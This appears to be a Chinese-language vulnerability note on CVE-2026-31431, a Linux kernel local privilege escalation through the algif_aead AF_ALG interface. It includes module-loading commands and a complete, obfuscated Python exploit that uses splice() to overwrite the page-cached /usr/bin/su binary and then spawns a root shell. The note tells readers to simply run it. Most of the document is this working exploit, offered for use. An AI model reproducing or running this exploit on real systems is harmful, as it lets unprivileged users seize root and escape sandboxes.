概要

编号:CVE-2026-31431

影响范围:2017年(commit 72548b093ee3)至补丁发布前的linux内核

危害:本地提权,且可用于沙箱逃逸

描述

漏洞源于linux内核的algif_aead密码算法接口,允许本地非特权用户通过AF_ALG套接字和splice()系统调用,向内核的页面缓存(page cache)写入4个可控字节,进而篡改setuid二进制文件(如/usr/bin/su),直接获得root权限

复现

先检查模块是否加载

lsmod | grep algif_aead

有回显说明接口已经暴露

如果没有回显需要先加载该模块

modprobe algif_aead

poc:

#!/usr/bin/env python3

import os as g,zlib,socket as s

def d(x):return bytes.fromhex(x)

def c(f,t,c):

 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)

 try:u.recv(8+t)

 except:0

f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))

while i<len(e):c(f,i,e[i:i+4]);i+=4

g.system("su")

直接执行即可

相关笔记

  • 渗透实战(提权应用):不死马
  • 护网防守视角:护网培训
  • 密码学基础(algif_aead 涉及内核密码接口):AES